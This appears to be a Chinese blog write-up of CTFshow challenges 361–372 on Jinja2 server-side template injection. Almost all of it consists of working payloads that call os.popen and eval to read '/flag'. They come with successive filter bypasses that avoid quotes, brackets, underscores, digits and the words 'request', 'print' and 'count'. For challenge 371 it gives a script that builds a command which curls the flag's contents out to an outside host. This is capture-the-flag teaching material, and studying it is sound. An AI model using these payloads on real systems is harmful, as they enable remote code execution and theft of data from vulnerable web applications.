CTFshow SSTI

SSTI原理分析

参考进阶

361-362.无过滤

payload1:

?name={{ config.__class__.__init__.__globals__['os'].popen('ls ../'). read() }}   shell命令​?name={{ config.__class__.__init__.__globals__['os'].popen ('cat ../flag').read() }}

payload2:

?name={{().__class__.__mro__[-1].__subclasses__()[132].__init__.__global s__['popen']('cat /flag').read()}}

363 过滤了引号

假设传入{{ config.class.init.globals['os'] }},因为引号被过滤,所以无法执行,可以把'os'换成request.args.a(这里的a可以理解为自定义的变量,名字可以任意设置)

随后在后面传入a的值,变成{{config.class.init.globals[request.args.a]}}&a=os,与原命令等效

Payload: 比如我们要构造?name={{ config.__class__.__init__.__globals__['os'].popen ('cat ../flag').read() }}​但是引号不能使用了,就可以把这两处使用引号的地方替换掉,最终变成​?name={{ config.__class__.__init__.__globals__[request.args.a].popen (request.args.b).read() }}&a=os&b=cat ../flag

364 过滤了引号和args

payload1:

cookie方法: ?name={{x.__init__.__globals__[request.cookies.x1].eval(request.cookies.x2)}}​cookie传值 Cookie:x1=__builtins__;x2=__import__('os').popen('cat /flag').read()

payload2:

char方法:可以用这个payload判断chr()函数的位置:(bp抓包爆破) {{().__class__.__bases__[0].__subclasses__()[§0§].__init__.__globals__. __builtins__.chr}}​爆破结果意味着__subclasses__()[80]中含有chr的类索引,即可以使用chr()​接下来把这一串{%set+chr=[].__class__.__bases__[0].__subclasses__()[80]. __init__.__globals__.__builtins__.chr%}放到前面​原始payload是{{ config.__class__.__init__.__globals__['os'].popen ('cat /flag').read() }},接下来要用chr()进行替换,对照ascii表 'os'替换成chr(111)%2bchr(115) 'cat ../f*'替换成chr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(47)%2b chr(102)%2bchr(108)%2bchr(97)%2bchr(103)​最后 ?name={%set+chr=[].__class__.__bases__[0].__subclasses__()[80].__init__. __globals__.__builtins__.chr%}{{ config.__class__.__init__.__globals__ [chr(111)%2bchr(115)].popen(chr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2b chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)).read() }}

365 新增加过滤[]

payload1:cookie方法

payload2:

可以用__getitem__和pop代替,因为pop会破坏数组的结构,所以更推荐用__getitem__​观察上题的payload,一共有四处中括号​第一处的[]直接换成()即可第二处的[0]换成.__getitem__(0)或者直接删去第三处的[80]换成.__getitem__(80) 第四处的[chr(111)%2bchr(115)]换成.__getitem__(chr(111)%2bchr(115))​最终payload:​?name={%set+chr=().__class__.__bases__.__getitem__(0).__subclasses__(). __getitem__(80).__init__.__globals__.__builtins__.chr%}{{ config. __class__.__init__.__globals__.__getitem__(chr(111)%2bchr(115)). popen(chr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(47)%2bchr(102)%2b chr(108)%2bchr(97)%2bchr(103)).read() }}

366-367 过滤了_

attr获取变量 ""|attr("__class__") 相当于 "".__class__​request.cookies传参 ?name={{(x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr (request.cookies.x3))(request.cookies.x4).eval(request.cookies.x5)}}​cookie传值 Cookie:x1=__init__;x2=__globals__;x3=__getitem__;x4=__builtins__; x5=__import__('os').popen('cat /flag').read()​

#

368 过滤了{{

测试发现{{被过滤,使用{%%}绕过,再借助print()回显

payload:

?name={% print((abc|attr(request.cookies.a)|attr(request.cookies.b)| attr(request.cookies.c))(request.cookies.d).eval(request.cookies.e))%}​Cookie:a=__init__;b=__globals__;c=__getitem__;d=__builtins__;e= __import__('os').popen('cat /flag').read()

*369 过滤了request

payload:

?name=
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{%print(x.open(file).read())%}

构造po="pop"     #利用dict()|join拼接得到
{% set po=dict(po=a,p=a)|join%}

等效于a=(()|select|string|list).pop(24),即a等价于下划线_
{% set a=(()|select|string|list)|attr(po)(24)%}

构造ini="___init__"
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}

构造glo="__globals__"
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}

构造geti="__getitem__"
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}

构造built="__builtins__"
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}

调用chr()函数
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}

构造file='/flag'
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}

*370 过滤了数字

payload:

?name=
{% set c=(dict(e=a)|join|count)%}
{% set cc=(dict(ee=a)|join|count)%}
{% set ccc=(dict(eee=a)|join|count)%}
{% set cccc=(dict(eeee=a)|join|count)%}
{% set ccccccc=(dict(eeeeeee=a)|join|count)%}
{% set cccccccc=(dict(eeeeeeee=a)|join|count)%}
{% set ccccccccc=(dict(eeeeeeeee=a)|join|count)%}
{% set cccccccccc=(dict(eeeeeeeeee=a)|join|count)%}
{% set coun=(cc~cccc)|int%}
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(coun)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr((cccc~ccccccc)|int)%2bchr((cccccccccc~cc)|int)%2bchr((cccccccccc~cccccccc)|int)%2bchr((ccccccccc~ccccccc)|int)%2bchr((cccccccccc~ccc)|int)%}
{%print(x.open(file).read())%}

分析如下
几个c就代表几,比如c=1,ccc=3
{% set c=(dict(e=a)|join|count)%}
{% set cc=(dict(ee=a)|join|count)%}
{% set ccc=(dict(eee=a)|join|count)%}
{% set cccc=(dict(eeee=a)|join|count)%}
{% set ccccccc=(dict(eeeeeee=a)|join|count)%}
{% set cccccccc=(dict(eeeeeeee=a)|join|count)%}
{% set ccccccccc=(dict(eeeeeeeee=a)|join|count)%}
{% set cccccccccc=(dict(eeeeeeeeee=a)|join|count)%}
用~拼接    构造coun=24
{% set coun=(cc~cccc)|int%}
同web169
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(coun)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
调用chr()函数
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
构造file="/flag"
{% set file=chr((cccc~ccccccc)|int)%2bchr((cccccccccc~cc)|int)%2bchr((cccccccccc~cccccccc)|int)%2bchr((ccccccccc~ccccccc)|int)%2bchr((cccccccccc~ccc)|int)%}

*371 过滤了print

payload:

http://c8f74fd3-a05a-477c-bb97-10325b9ce77d.chall.ctf.show?name=
{% set c=(t|count)%}
{% set cc=(dict(e=a)|join|count)%}
{% set ccc=(dict(ee=a)|join|count)%}
{% set cccc=(dict(eee=a)|join|count)%}
{% set ccccc=(dict(eeee=a)|join|count)%}
{% set cccccc=(dict(eeeee=a)|join|count)%}
{% set ccccccc=(dict(eeeeee=a)|join|count)%}
{% set cccccccc=(dict(eeeeeee=a)|join|count)%}
{% set ccccccccc=(dict(eeeeeeee=a)|join|count)%}
{% set cccccccccc=(dict(eeeeeeeee=a)|join|count)%}
{% set ccccccccccc=(dict(eeeeeeeeee=a)|join|count)%}
{% set cccccccccccc=(dict(eeeeeeeeeee=a)|join|count)%}
{% set coun=(ccc~ccccc)|int%}
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(coun)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set cmd=
%}
{%if x.eval(cmd)%}
abc
{%endif%}

cmd后面的内容由下面的代码生成

def aaa(t):
	t='('+(int(t[:-1:])+1)*'c'+'~'+(int(t[-1])+1)*'c'+')|int'
	return t
s='__import__("os").popen("curl http://xxx:4567?p=`cat /flag`").read()'
def ccchr(s):
	t=''
	for i in range(len(s)):
		if i<len(s)-1:
			t+='chr('+aaa(str(ord(s[i])))+')%2b'
		else:
			t+='chr('+aaa(str(ord(s[i])))+')'
	return t
print(ccchr(s))

*372 过滤了count

过滤了count,可以用length替换

跟大佬交换了思路学到了可以用全角数字代替正常数字,大家可以自行探索了。。。。。。

半角转全角代码

def half2full(half):  
    full = ''  
    for ch in half:  
        if ord(ch) in range(33, 127):  
            ch = chr(ord(ch) + 0xfee0)  
        elif ord(ch) == 32:  
            ch = chr(0x3000)  
        else:  
            pass  
        full += ch  
    return full  
t=''
s="0123456789"
for i in s:
    t+='\''+half2full(i)+'\','
print(t)

 

posted @ 2021-11-07 20:01  _Nov1ce  阅读(399)  评论(0编辑  收藏  举报